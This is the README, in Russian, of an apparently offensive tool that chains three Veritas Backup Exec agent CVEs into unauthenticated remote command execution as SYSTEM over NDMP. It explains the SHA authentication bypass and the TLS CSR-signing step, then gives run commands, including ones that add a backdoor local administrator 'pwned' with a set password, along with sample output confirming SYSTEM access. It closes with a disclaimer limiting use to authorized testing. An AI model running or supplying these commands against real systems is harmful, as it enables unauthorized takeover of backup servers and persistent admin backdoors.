
Эксплойт неаутентифицированного RCE для агента Veritas Backup Exec (CVE-2021-27876/77/78) — обход SHA-аутентификации до SYSTEM через NDMP
Эксплойт RCE без аутентификации для агента Veritas Backup Exec (CVE-2021-27876/77/78) — обход SHA-аутентификации до SYSTEM через NDMP
| CVE | Описание | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | Обход аутентификации через манипуляцию SHA-хэшем в протоколе NDMP | 9.8 Критический |
| CVE-2021-27877 | Неаутентифицированное чтение произвольных файлов через NDMP | 9.8 Критический |
| CVE-2021-27878 | Выполнение произвольных команд ОС через NDMP_EXECUTE_COMMAND | 9.8 Критический |
Бюллетень безопасности: Veritas VTS21-003
Исправлено в: Backup Exec 21.3 и новее.
Агент Veritas Backup Exec прослушивает порт TCP/10000 и работает по протоколу NDMP (Network Data Management Protocol). Эксплойт связывает в цепочку три уязвимости:
Злоупотребление TLS-рукопожатием — Во время нестандартного согласования TLS агент запрашивает CSR. Эксплойт генерирует локальный ЦС, подписывает CSR агента и завершает рукопожатие, переводя сокет на TLS без предварительного общего секрета.
Обход SHA-аутентификации (CVE-2021-27876) — SHA-аутентификация NDMP вычисляет SHA256('\x00' * 64 + challenge). Поскольку пароль добавляется в начало в виде 64-байтового блока с нулевым заполнением и серверная проверка
парольных данных не выполняется, любой клиент может аутентифицироваться как Administrator, не зная пароля.
NDMP_EXECUTE_COMMAND (CVE-2021-27878) — После аутентификации тип сообщения NDMP_EXECUTE_COMMAND выполняет произвольные команды ОС от имени NT AUTHORITY\SYSTEM. Вывод перенаправляется в
C:\Windows\Temp\_be_out.txt и считывается обратно через NDMP_FILE_READ.
Python 3.8+
В современных дистрибутивах Python помечен как «управляемый извне» (PEP 668), поэтому установите зависимость в виртуальное окружение:
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install cryptography
python3 be_rce.py
Примеры:
# Confirm SYSTEM access
python3 be_rce.py 10.10.10.50 "whoami"
# Dump hostname and domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# Add a local admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
Устранение
Ссылки
Правовая информация
Этот инструмент предоставляется только для авторизованного тестирования на проникновение и исследований в области безопасности. Использование против систем без явного письменного разрешения незаконно. Автор не несёт ответственности за неправомерное использование.